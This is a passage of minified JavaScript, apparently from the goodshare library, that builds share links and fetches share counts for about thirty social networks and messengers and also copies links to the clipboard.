document.location.href,c=1<arguments.length&&void 0!==arguments[1]?arguments[1]:document.title;k(this,b);var d=f.call(this);d.url=encodeURIComponent(a);d.title=encodeURIComponent(c);d.createEvents=d.createEvents.bind(n(d));return d}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url;a=a.dataset.title?encodeURIComponent(a.dataset.title):this.title;c="https://connect.ok.ru/offer?url=".concat(c,"&title=").concat(a);return{callback:this.callback,
share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="odnoklassniki"]');return this.createEvents(a)}},{key:"getCounter",value:function(){var a=document.createElement("script"),c=document.querySelectorAll('[data-counter="odnoklassniki"]'),d="https://connect.ok.ru/dk?st.cmd=extLike&uid=1&ref=".concat(this.url);window.ODKL={};0<c.length&&(window.ODKL.updateCount=function(g,h){t(c).forEach(function(r){r.innerHTML=
h});null!==a.parentNode&&a.parentNode.removeChild(a)},a.src=d,document.body.appendChild(a))}}]);return b}(m),H=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href,c=1<arguments.length&&void 0!==arguments[1]?arguments[1]:document.title,d=2<arguments.length&&void 0!==arguments[2]?arguments[2]:document.querySelector('meta[name="description"]'),g=3<arguments.length&&void 0!==arguments[3]?arguments[3]:document.querySelector('link[rel="apple-touch-icon"]');
k(this,b);var h=f.call(this);h.url=encodeURIComponent(a);h.title=encodeURIComponent(c);h.description=d?encodeURIComponent(d.content):"";h.image=g?encodeURIComponent(g.href):"";h.createEvents=h.createEvents.bind(n(h));return h}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url,d=a.dataset.title?encodeURIComponent(a.dataset.title):this.title,g=a.dataset.description?encodeURIComponent(a.dataset.description):this.description;
a=a.dataset.image?encodeURIComponent(a.dataset.image):this.image;c="https://connect.mail.ru/share?url=".concat(c,"&title=").concat(d,"&description=").concat(g,"&imageurl=").concat(a);return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="moimir"]');return this.createEvents(a)}},{key:"getCounter",value:function(){var a=document.createElement("script"),c=encodeURIComponent(this.url.replace(/^.*?:\/\//,
"")),d=("goodshare_"+Math.random()).replace(".",""),g=document.querySelectorAll('[data-counter="moimir"]');0<g.length&&(window[d]=function(h){t(g).forEach(function(r){r.innerHTML=h.share_mm});null!==a.parentNode&&a.parentNode.removeChild(a)},a.src="https://appsmail.ru/share/count/"+c+"?callback="+d,document.body.appendChild(a))}}]);return b}(m),I=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href,c=1<arguments.length&&void 0!==arguments[1]?
arguments[1]:document.title,d=2<arguments.length&&void 0!==arguments[2]?arguments[2]:document.querySelector('meta[name="description"]');k(this,b);var g=f.call(this);g.url=encodeURIComponent(a);g.title=encodeURIComponent(c);g.description=d?encodeURIComponent(d.content):"";g.createEvents=g.createEvents.bind(n(g));return g}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url,d=a.dataset.title?encodeURIComponent(a.dataset.title):
this.title;a=a.dataset.description?encodeURIComponent(a.dataset.description):this.description;c="https://www.tumblr.com/widgets/share/tool?canonicalUrl=".concat(c,"&title=").concat(d,"&caption=").concat(a,"&posttype=link");return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="tumblr"]');return this.createEvents(a)}},{key:"getCounter",value:function(){var a=document.createElement("script"),
c=("goodshare_"+Math.random()).replace(".",""),d=document.querySelectorAll('[data-counter="tumblr"]'),g="https://api.tumblr.com/v2/share/stats?url=".concat(this.url,"&callback=").concat(c);0<d.length&&(window[c]=function(h){t(d).forEach(function(r){r.innerHTML=h.response.note_count});null!==a.parentNode&&a.parentNode.removeChild(a)},a.src=g,document.body.appendChild(a))}}]);return b}(m),J=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href,
c=1<arguments.length&&void 0!==arguments[1]?arguments[1]:document.querySelector('meta[name="description"]'),d=2<arguments.length&&void 0!==arguments[2]?arguments[2]:document.querySelector('link[rel="apple-touch-icon"]');k(this,b);var g=f.call(this);g.url=encodeURIComponent(a);g.description=c?encodeURIComponent(c.content):"";g.image=d?encodeURIComponent(d.href):"";g.createEvents=g.createEvents.bind(n(g));return g}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):
this.url,d=a.dataset.description?encodeURIComponent(a.dataset.description):this.description;a=a.dataset.image?encodeURIComponent(a.dataset.image):this.image;c="https://www.pinterest.com/pin/create/button/?url=".concat(c,"&description=").concat(d,"&media=").concat(a);return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="pinterest"]');return this.createEvents(a)}},{key:"getCounter",
value:function(){var a=document.createElement("script"),c=("goodshare_"+Math.random()).replace(".",""),d=document.querySelectorAll('[data-counter="pinterest"]'),g="https://api.pinterest.com/v1/urls/count.json?url=".concat(this.url,"&callback=").concat(c);0<d.length&&(window[c]=function(h){t(d).forEach(function(r){r.innerHTML=0<h.length?h.count:0});null!==a.parentNode&&a.parentNode.removeChild(a)},a.src=g,document.body.appendChild(a))}}]);return b}(m),K=function(e){function b(){var a=0<arguments.length&&
void 0!==arguments[0]?arguments[0]:document.location.href,c=1<arguments.length&&void 0!==arguments[1]?arguments[1]:document.title;k(this,b);var d=f.call(this);d.url=encodeURIComponent(a);d.title=encodeURIComponent(c);d.createEvents=d.createEvents.bind(n(d));return d}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url;a=a.dataset.title?encodeURIComponent(a.dataset.title):this.title;c="https://reddit.com/submit?url=".concat(c,
"&title=").concat(a);return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="reddit"]');return this.createEvents(a)}}]);return b}(m),L=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href,c=1<arguments.length&&void 0!==arguments[1]?arguments[1]:document.title;k(this,b);var d=f.call(this);d.url=encodeURIComponent(a);
d.title=encodeURIComponent(c);d.createEvents=d.createEvents.bind(n(d));return d}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url;a=a.dataset.title?encodeURIComponent(a.dataset.title):this.title;c="https://buffer.com/add?url=".concat(c,"&text=").concat(a);return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="buffer"]');
return this.createEvents(a)}},{key:"getCounter",value:function(){var a=document.createElement("script"),c=("goodshare_"+Math.random()).replace(".",""),d=document.querySelectorAll('[data-counter="buffer"]'),g="https://api.bufferapp.com/1/links/shares.json?url=".concat(this.url,"&callback=").concat(c);0<d.length&&(window[c]=function(h){t(d).forEach(function(r){r.innerHTML=h?h.shares:0});a.parentNode.removeChild(a)},a.src=g,document.body.appendChild(a))}}]);return b}(m),M=function(e){function b(){var a=
0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href,c=1<arguments.length&&void 0!==arguments[1]?arguments[1]:document.title,d=2<arguments.length&&void 0!==arguments[2]?arguments[2]:"";k(this,b);var g=f.call(this);g.url=encodeURIComponent(a);g.title=encodeURIComponent(c);g.hashtags=encodeURIComponent(d);g.createEvents=g.createEvents.bind(n(g));return g}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url,
d=a.dataset.title?encodeURIComponent(a.dataset.title):this.title;a=a.dataset.hashtags?encodeURIComponent(a.dataset.hashtags):this.hashtags;c="https://twitter.com/share?url=".concat(c,"&text=").concat(d,"&hashtags=").concat(a);return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="twitter"]');return this.createEvents(a)}}]);return b}(m),N=function(e){function b(){var a=
0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href,c=1<arguments.length&&void 0!==arguments[1]?arguments[1]:document.title;k(this,b);var d=f.call(this);d.url=encodeURIComponent(a);d.title=encodeURIComponent(c);d.createEvents=d.createEvents.bind(n(d));return d}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url;a=a.dataset.title?encodeURIComponent(a.dataset.title):this.title;c="https://livejournal.com/update.bml?event=".concat(c,
"&subject=").concat(a);return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="livejournal"]');return this.createEvents(a)}}]);return b}(m),O=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href,c=1<arguments.length&&void 0!==arguments[1]?arguments[1]:document.title,d=2<arguments.length&&void 0!==arguments[2]?arguments[2]:
document.querySelector('meta[name="description"]');k(this,b);var g=f.call(this);g.url=encodeURIComponent(a);g.title=encodeURIComponent(c);g.description=d?encodeURIComponent(d.content):"";g.createEvents=g.createEvents.bind(n(g));return g}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url,d=a.dataset.title?encodeURIComponent(a.dataset.title):this.title;a=a.dataset.description?encodeURIComponent(a.dataset.description):this.description;
c="https://www.linkedin.com/shareArticle?url=".concat(c,"&text=").concat(d,"&summary=").concat(a,"&mini=true");return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="linkedin"]');return this.createEvents(a)}}]);return b}(m),P=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href,c=1<arguments.length&&void 0!==arguments[1]?
arguments[1]:document.title,d=2<arguments.length&&void 0!==arguments[2]?arguments[2]:document.querySelector('meta[name="description"]');k(this,b);var g=f.call(this);g.url=encodeURIComponent(a);g.title=encodeURIComponent(c);g.description=d?encodeURIComponent(d.content):"";g.createEvents=g.createEvents.bind(n(g));return g}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url,d=a.dataset.title?encodeURIComponent(a.dataset.title):
this.title;a=a.dataset.description?encodeURIComponent(a.dataset.description):this.description;c="https://www.evernote.com/clip.action?url=".concat(c,"&title=").concat(d,"&body=").concat(a);return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="evernote"]');return this.createEvents(a)}}]);return b}(m),Q=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?
arguments[0]:document.location.href,c=1<arguments.length&&void 0!==arguments[1]?arguments[1]:document.title;k(this,b);var d=f.call(this);d.url=encodeURIComponent(a);d.title=encodeURIComponent(c);d.createEvents=d.createEvents.bind(n(d));return d}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url;a=a.dataset.title?encodeURIComponent(a.dataset.title):this.title;c="https://del.icio.us/save?url=".concat(c,"&title=").concat(a);
return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="delicious"]');return this.createEvents(a)}}]);return b}(m),R=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href,c=1<arguments.length&&void 0!==arguments[1]?arguments[1]:document.title;k(this,b);var d=f.call(this);d.url=encodeURIComponent(a);d.title=encodeURIComponent(c);
d.createEvents=d.createEvents.bind(n(d));return d}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url;a=a.dataset.title?encodeURIComponent(a.dataset.title):this.title;c="https://share.flipboard.com/bookmarklet/popout?ext=sharethis&title=".concat(a,"&url=").concat(c,"&v=2");return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="flipboard"]');
return this.createEvents(a)}}]);return b}(m),S=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href;k(this,b);var c=f.call(this);c.url=encodeURIComponent(a);c.createEvents=c.createEvents.bind(n(c));return c}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){a=a.dataset.url?encodeURIComponent(a.dataset.url):this.url;a="https://mix.com/mixit?su=submit&url=".concat(a);return{callback:this.callback,share_url:a,windowTitle:"Share this",
windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="mix"]');return this.createEvents(a)}}]);return b}(m),T=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href;k(this,b);var c=f.call(this);c.url=encodeURIComponent(a);c.createEvents=c.createEvents.bind(n(c));return c}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){a=a.dataset.url?encodeURIComponent(a.dataset.url):
this.url;a="https://www.meneame.net/submit?url=".concat(a);return{callback:this.callback,share_url:a,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="meneame"]');return this.createEvents(a)}}]);return b}(m),U=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href,c=1<arguments.length&&void 0!==arguments[1]?arguments[1]:document.title;k(this,b);var d=
f.call(this);d.url=encodeURIComponent(a);d.title=encodeURIComponent(c);d.createEvents=d.createEvents.bind(n(d));return d}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url;a=a.dataset.title?encodeURIComponent(a.dataset.title):this.title;c="https://www.blogger.com/blog-this.g?u=".concat(c,"&n=").concat(a);return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",
value:function(){var a=document.querySelectorAll('[data-social="blogger"]');return this.createEvents(a)}}]);return b}(m),V=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href,c=1<arguments.length&&void 0!==arguments[1]?arguments[1]:document.title;k(this,b);var d=f.call(this);d.url=encodeURIComponent(a);d.title=encodeURIComponent(c);d.createEvents=d.createEvents.bind(n(d));return d}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=
a.dataset.url?encodeURIComponent(a.dataset.url):this.url;a=a.dataset.title?encodeURIComponent(a.dataset.title):this.title;c="https://getpocket.com/save?url=".concat(c,"&title=").concat(a);return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="pocket"]');return this.createEvents(a)}}]);return b}(m),W=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?
arguments[0]:document.location.href,c=1<arguments.length&&void 0!==arguments[1]?arguments[1]:document.title;k(this,b);var d=f.call(this);d.url=encodeURIComponent(a);d.title=encodeURIComponent(c);d.createEvents=d.createEvents.bind(n(d));return d}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url;a=a.dataset.title?encodeURIComponent(a.dataset.title):this.title;c="https://www.instapaper.com/edit?url=".concat(c,"&title=").concat(a);
return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="instapaper"]');return this.createEvents(a)}}]);return b}(m),X=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href,c=1<arguments.length&&void 0!==arguments[1]?arguments[1]:document.title;k(this,b);var d=f.call(this);d.url=encodeURIComponent(a);d.title=encodeURIComponent(c);
d.createEvents=d.createEvents.bind(n(d));return d}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url;a=a.dataset.title?encodeURIComponent(a.dataset.title):this.title;c="https://digg.com/submit?url=".concat(c,"&title=").concat(a);return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="digg"]');return this.createEvents(a)}}]);
return b}(m),Y=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href,c=1<arguments.length&&void 0!==arguments[1]?arguments[1]:document.title;k(this,b);var d=f.call(this);d.url=encodeURIComponent(a);d.title=encodeURIComponent(c);d.createEvents=d.createEvents.bind(n(d));return d}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url;a=a.dataset.title?encodeURIComponent(a.dataset.title):
this.title;c="http://www.liveinternet.ru/journal_post.php?action=n_add&cnurl=".concat(c,"&cntitle=").concat(a);return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="liveinternet"]');return this.createEvents(a)}}]);return b}(m),Z=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href,c=1<arguments.length&&void 0!==
arguments[1]?arguments[1]:document.title,d=2<arguments.length&&void 0!==arguments[2]?arguments[2]:document.querySelector('meta[name="description"]');k(this,b);var g=f.call(this);g.url=encodeURIComponent(a);g.title=encodeURIComponent(c);g.description=d?encodeURIComponent(d.content):"";g.createEvents=g.createEvents.bind(n(g));return g}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url,d=a.dataset.title?encodeURIComponent(a.dataset.title):
this.title;a=a.dataset.description?encodeURIComponent(a.dataset.description):this.description;c="https://surfingbird.ru/share?url=".concat(c,"&title=").concat(d,"&description=").concat(a);return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="surfingbird"]');return this.createEvents(a)}}]);return b}(m),aa=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?
arguments[0]:document.location.href;k(this,b);var c=f.call(this);c.url=encodeURIComponent(a);c.createEvents=c.createEvents.bind(n(c));return c}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){a=a.dataset.url?encodeURIComponent(a.dataset.url):this.url;a="https://www.xing.com/spi/shares/new?url=".concat(a);return{callback:this.callback,share_url:a,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="xing"]');
return this.createEvents(a)}}]);return b}(m),ba=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href,c=1<arguments.length&&void 0!==arguments[1]?arguments[1]:document.title,d=2<arguments.length&&void 0!==arguments[2]?arguments[2]:document.querySelector('meta[name="description"]'),g=3<arguments.length&&void 0!==arguments[3]?arguments[3]:document.querySelector('link[rel="apple-touch-icon"]');k(this,b);var h=f.call(this);h.url=encodeURIComponent(a);
h.title=encodeURIComponent(c);h.description=d?encodeURIComponent(d.content):"";h.image=g?encodeURIComponent(g.href):"";h.createEvents=h.createEvents.bind(n(h));return h}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url,d=a.dataset.title?encodeURIComponent(a.dataset.title):this.title,g=a.dataset.description?encodeURIComponent(a.dataset.description):this.description;a=a.dataset.image?encodeURIComponent(a.dataset.image):this.image;
c="https://wordpress.com/wp-admin/press-this.php?u=".concat(c,"&t=").concat(d,"&s=").concat(g,"&i=").concat(a,"&v=2");return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="wordpress"]');return this.createEvents(a)}}]);return b}(m),ca=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href,c=1<arguments.length&&void 0!==
arguments[1]?arguments[1]:document.title,d=2<arguments.length&&void 0!==arguments[2]?arguments[2]:document.querySelector('meta[name="description"]');k(this,b);var g=f.call(this);g.url=encodeURIComponent(a);g.title=encodeURIComponent(c);g.description=d?encodeURIComponent(d.content):"";g.createEvents=g.createEvents.bind(n(g));return g}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url,d=a.dataset.title?encodeURIComponent(a.dataset.title):
this.title;a=a.dataset.description?encodeURIComponent(a.dataset.description):this.description;c="https://cang.baidu.com/do/add?iu=".concat(c,"&it=").concat(d,"&dc=").concat(a,"&fr=ien");return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="baidu"]');return this.createEvents(a)}}]);return b}(m),da=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?
arguments[0]:document.location.href,c=1<arguments.length&&void 0!==arguments[1]?arguments[1]:document.title;k(this,b);var d=f.call(this);d.url=encodeURIComponent(a);d.title=encodeURIComponent(c);d.createEvents=d.createEvents.bind(n(d));return d}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url;a=a.dataset.title?encodeURIComponent(a.dataset.title):this.title;c="http://share.renren.com/share/buttonshare.do?url=".concat(c,"&title=").concat(a);
return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="renren"]');return this.createEvents(a)}}]);return b}(m),ea=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href,c=1<arguments.length&&void 0!==arguments[1]?arguments[1]:document.title;k(this,b);var d=f.call(this);d.url=encodeURIComponent(a);d.title=encodeURIComponent(c);
d.createEvents=d.createEvents.bind(n(d));return d}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url;a=a.dataset.title?encodeURIComponent(a.dataset.title):this.title;c="https://service.weibo.com/share/share.php?url=".concat(c,"&title=").concat(a);return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="weibo"]');
return this.createEvents(a)}}]);return b}(m),fa=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href;k(this,b);var c=f.call(this);c.url=encodeURIComponent(a);c.createEvents=c.createEvents.bind(n(c));return c}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){a=a.dataset.url?encodeURIComponent(a.dataset.url):this.url;a="sms:?&body=".concat(a);return{callback:this.callback,share_url:a,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},
{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="sms"]');return this.createEvents(a)}}]);return b}(m),ha=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href,c=1<arguments.length&&void 0!==arguments[1]?arguments[1]:document.title;k(this,b);var d=f.call(this);d.url=encodeURIComponent(a);d.title=encodeURIComponent(c);d.createEvents=d.createEvents.bind(n(d));return d}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",
value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url;a=a.dataset.title?encodeURIComponent(a.dataset.title):this.title;c="https://web.skype.com/share?url=".concat(c,"&text=").concat(a);return{callback:this.callback,share_url:c,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="skype"]');return this.createEvents(a)}}]);return b}(m),ia=function(e){function b(){var a=0<arguments.length&&
void 0!==arguments[0]?arguments[0]:document.location.href;k(this,b);var c=f.call(this);c.url=encodeURIComponent(a);c.createEvents=c.createEvents.bind(n(c));return c}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){var c=a.dataset.url?encodeURIComponent(a.dataset.url):this.url;a=a.dataset.rhash?a.dataset.rhash:null;var d="https://t.me/share/url?url=".concat(c);null!==a&&(d="https://t.me/iv?url=".concat(c,"&rhash=").concat(a));return{callback:this.callback,share_url:d,windowTitle:"Share this",
windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="telegram"]');return this.createEvents(a)}}]);return b}(m),ja=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href;k(this,b);var c=f.call(this);c.url=encodeURIComponent(a);c.createEvents=c.createEvents.bind(n(c));return c}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){a=a.dataset.url?encodeURIComponent(a.dataset.url):
this.url;a="viber://forward?text=".concat(a);return{callback:this.callback,share_url:a,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="viber"]');return this.createEvents(a)}}]);return b}(m),ka=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href;k(this,b);var c=f.call(this);c.url=encodeURIComponent(a);c.createEvents=c.createEvents.bind(n(c));return c}
p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){a=a.dataset.url?encodeURIComponent(a.dataset.url):this.url;a="https://api.whatsapp.com/send?text=".concat(a);return{callback:this.callback,share_url:a,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="whatsapp"]');return this.createEvents(a)}}]);return b}(m),la=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:
document.location.href;k(this,b);var c=f.call(this);c.url=encodeURIComponent(a);c.createEvents=c.createEvents.bind(n(c));return c}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){a=a.dataset.url?encodeURIComponent(a.dataset.url):this.url;a="https://chart.apis.google.com/chart?cht=qr&chs=196x196&chld=Q%7C0&chl=".concat(a);return{callback:this.callback,share_url:a,windowTitle:"Share this",windowWidth:640,windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="wechat"]');
return this.createEvents(a)}}]);return b}(m),ma=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href;k(this,b);var c=f.call(this);c.url=encodeURIComponent(a);c.createEvents=c.createEvents.bind(n(c));return c}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){a=a.dataset.url?encodeURIComponent(a.dataset.url):this.url;a="line://msg/text/".concat(a);return{callback:this.callback,share_url:a,windowTitle:"Share this",windowWidth:640,
windowHeight:480}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="line"]');return this.createEvents(a)}}]);return b}(m);m=function(e){function b(){var a=0<arguments.length&&void 0!==arguments[0]?arguments[0]:document.location.href;k(this,b);var c=f.call(this);c.url=a;c.createEvents=c.createEvents.bind(n(c));return c}p(b,e);var f=q(b);l(b,[{key:"getPreparedData",value:function(a){return{callback:this.callback,share_url:a.dataset.url?a.dataset.url:this.url}}},{key:"createFakeTextarea",
value:function(a){var c="rtl"===document.documentElement.getAttribute("dir"),d=document.createElement("textarea");d.style.fontSize="12pt";d.style.border="0";d.style.padding="0";d.style.margin="0";d.style.position="absolute";d.style[c?"right":"left"]="-9999px";d.style.top="".concat(window.pageYOffset||document.documentElement.scrollTop,"px");d.setAttribute("readonly","");d.value=a;return d}},{key:"legacyCopyToClipboard",value:function(a){var c=this;return new Promise(function(){var d=c.createFakeTextarea(a);
document.body.appendChild(d);d.select();d.setSelectionRange(0,d.value.length);document.execCommand("copy");document.body.removeChild(d)})}},{key:"eventHandler",value:function(a,c){var d=this,g=c.share_url;a.preventDefault();try{navigator.permissions.query({name:"clipboard-write"}).then(function(h){"granted"===h.state||"prompt"===h.state?navigator.clipboard.writeText(g).then(function(){d.callback(a,{share_url:g})}):d.legacyCopyToClipboard(g).then(function(){d.callback(a,{share_url:g})})})}catch(h){this.legacyCopyToClipboard(g).then(function(){d.callback(a,
{share_url:g})})}}},{key:"shareWindow",value:function(){var a=document.querySelectorAll('[data-social="copy-to-clipboard"]');return this.createEvents(a)}}]);return b}(m);var na=[y,F,G,H,O,I,J,K,L,M,N,P,Q,R,V,S,T,U,W,X,Y,Z,aa,ba,ca,da,ea,fa,ha,ia,ja,ka,la,ma,m];y=function(){function e(){k(this,e);this.providers=na;this.getProviders()}l(e,[{key:"setShareCallback",value:function(b){this.providers=this.providers.map(function(f){return f.setShareCallback(b)})}},{key:"getProviders",value:function(){return this.providers=
this.providers.map(function(b){return(new b).getInstance()})}},{key:"reNewAllInstance",value:function(){this.providers=this.providers.map(function(b){return b.reNewInstance()})}}]);return e}();window._goodshare=new y})()
